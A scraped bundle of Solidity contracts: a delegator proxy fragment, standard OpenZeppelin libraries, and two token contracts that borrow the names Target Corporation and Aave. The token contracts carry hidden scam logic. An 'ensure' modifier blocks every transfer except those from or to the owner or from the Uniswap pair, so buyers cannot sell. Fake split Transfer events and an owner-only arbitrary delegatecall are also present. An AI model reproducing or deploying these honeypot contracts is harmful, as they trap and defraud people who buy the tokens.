);
event NewAdmin(address oldAdmin, address newAdmin);
constructor(
address _acceptToken,
uint256 _confirmRequireNum,
uint8[] memory _acceptChains,
uint256 _timestamp,
address _implementation
) public {
admin = msg.sender;
delegateTo(
_implementation,
abi.encodeWithSignature(
"initialize(address,uint256,uint8[],uint256)",
_acceptToken,
_confirmRequireNum,
_acceptChains,
_timestamp
)
);
_setImplementation(_implementation);
}
function _setImplementation(address implementation_) public {
require(msg.sender == admin, "UNAUTHORIZED");
address oldImplementation = implementation;
implementation = implementation_;
emit NewImplementation(oldImplementation, implementation);
}
function _setAdmin(address newAdmin) public {
require(msg.sender == admin, "UNAUTHORIZED");
address oldAdmin = admin;
admin = newAdmin;
emit NewAdmin(oldAdmin, newAdmin);
}
function delegateTo(address callee, bytes memory data)
internal
returns (bytes memory)
{
(bool success, bytes memory returnData) = callee.delegatecall(data);
assembly {
if eq(success, 0) {
revert(add(returnData, 0x20), returndatasize())
}
}
return returnData;
}
/**
* @notice Delegates execution to the implementation contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
* @param data The raw data to delegatecall
* @return The returned bytes from the delegatecall
*/
function delegateToImplementation(bytes memory data)
public
returns (bytes memory)
{
return delegateTo(implementation, data);
}
/**
* @notice Delegates execution to an implementation contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
* There are an additional 2 prefix uints from the wrapper returndata, which we ignore since we make an extra hop.
* @param data The raw data to delegatecall
* @return The returned bytes from the delegatecall
*/
function delegateToViewImplementation(bytes memory data)
public
view
returns (bytes memory)
{
(bool success, bytes memory returnData) =
address(this).staticcall(
abi.encodeWithSignature("delegateToImplementation(bytes)", data)
);
assembly {
if eq(success, 0) {
revert(add(returnData, 0x20), returndatasize())
}
}
return abi.decode(returnData, (bytes));
}
receive() external payable{}
/**
* @notice Delegates execution to an implementation contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
// */
fallback() external payable {
// delegate all other functions to current implementation
(bool success, ) = implementation.delegatecall(msg.data);
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize())
switch success
case 0 {
revert(free_mem_ptr, returndatasize())
}
default {
return(free_mem_ptr, returndatasize())
}
}
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
Target Corporation coin
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract TargetCorporationcoin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
AaveToken
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract AaveToken {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
/**
*Submitted for verification at Etherscan.io on 2021-03-23
*/
// File: @openzeppelin\contracts\math\Math.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// File: @openzeppelin\contracts\math\SafeMath.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin\contracts\token\ERC20\IERC20.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin\contracts\utils\Address.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin\contracts\token\ERC20\SafeERC20.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
